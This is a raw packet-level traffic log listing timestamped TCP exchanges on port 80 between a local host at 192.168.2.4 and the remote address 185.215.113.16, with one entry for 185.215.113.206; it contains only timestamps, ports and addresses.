Dec 27, 2024 08:45:28.383666992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.384269953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.384414911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.384448051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.384988070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.385001898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.385041952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.385669947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.385767937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.385804892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.386400938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.386506081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.386559010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.387096882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.387218952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.387264013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.387917995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.388034105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.388123035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.388526917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.388636112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.388712883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.389276981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.389377117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.389410019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.389950037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.390116930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.390166998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.397047997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.428730965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.428751945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.428764105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.428777933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.428800106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.428853989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.429131985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.429155111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.429193974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.430519104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.430897951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.430939913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.432075024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.432087898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.432138920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.432696104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.432838917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.432851076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.432864904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.432889938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.432899952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.456835032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.456851006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.456903934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.457349062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457364082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457408905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.457839966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457854033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457871914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457884073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457894087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.457896948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.457915068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.459635973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.459700108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.459806919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.460330963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.460376978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.460479975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.461009026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.461050987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.461163044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.461708069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.461741924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.461879015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.462611914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.462625027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.462661982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.463073969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.463085890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.463135004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.477313042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477399111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.477474928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477488041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477500916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477513075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477524996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477529049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.477535009 CET	80	49745	185.215.113.206	192.168.2.4
Dec 27, 2024 08:45:28.477551937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.477642059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477655888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.477679968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.478468895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.478482962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.478511095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.479145050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.479186058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.479324102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.479938030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.479952097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.479980946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.505342007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.505357027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.505376101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.505389929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.505441904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.505443096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.505559921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.505680084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.505702972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.506268024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.506321907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.506370068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.506985903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.507091045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.507122040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.507728100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.507781029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.507801056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.508470058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.508528948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.508588076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.509166956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.509243011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.509991884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.510090113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.510111094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.510624886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.510703087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.511413097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.511485100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.511508942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.512059927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.512150049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.512155056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.512908936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.512959003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.513001919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.513473034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.513519049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.545459032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.580528021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.580622911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.580672026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.580806017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.580920935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.580965996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.581585884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.581671000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.581712961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.582273960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.582369089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.582411051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.582957983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.583108902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.583230019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.583700895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.583779097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.583884954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.584404945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.584492922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.584541082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.585195065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.585294008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.585853100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.585875988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.585994005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.586730003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.586749077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.586762905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.587295055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.587326050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.587330103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.587984085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.588012934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.588042021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.588155031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.588639975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.588901043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.588956118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.589559078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.589585066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.589638948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.590126038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.590212107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.590264082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.590852976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.590986013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.591084957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.591490984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.591649055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.591698885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.629602909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.629709005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.629899979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.629944086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.629977942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.630258083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.630561113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.630753040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.631004095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.631356001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.631387949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.631748915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.632055998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.632215023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.632623911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.632781029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.632810116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.633690119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.633703947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.633765936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.657238007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.657259941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.657478094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.657521963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.657638073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.657704115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.658183098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.658359051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.658509970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.658849001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.659089088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.659236908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.659805059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.659830093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.659925938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.660547018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.660572052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.660609961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.660784006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.661238909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.661395073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.661417961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.662023067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.662075043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.662082911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.662777901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.663135052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.663256884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.663374901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.663511992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.663538933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.676249027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.676337004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.676366091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.676567078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.676693916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.676721096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.677277088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.677405119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.677433968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.678092003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.678107977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.678284883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.678744078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.678988934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.679030895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.679409981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.679559946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.679563046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.680145025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.680380106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.680573940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.705821991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.706057072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.706135035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.706226110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.706295013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.706538916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.706933022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.706983089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.706989050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.707590103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.707643032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.707694054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.708389997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.708404064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.708441973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.709146023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.709170103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.709192038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.709862947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.709909916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.709918976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.710541010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.710555077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.710746050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.711263895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.711330891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.711339951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.711910009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.712014914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.712064028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.712605000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.712690115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.712764025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.713357925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.713427067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.713435888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.714096069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.714153051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.714202881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.714839935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.715028048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.762265921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.781944036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.781959057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.781990051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.782176018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.782201052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.782329082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.782339096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.782969952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.782984018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.783626080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.783649921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.783710957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.784230947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.784526110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.784539938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.784714937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.785124063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.785137892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.785198927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.785794973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.785841942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.785866022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.786524057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.786611080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.786633968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.787411928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.787842035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.788072109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.788433075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.788467884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.788495064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.789061069 CET	80	49744	185.215.113.16	192.168.2.4
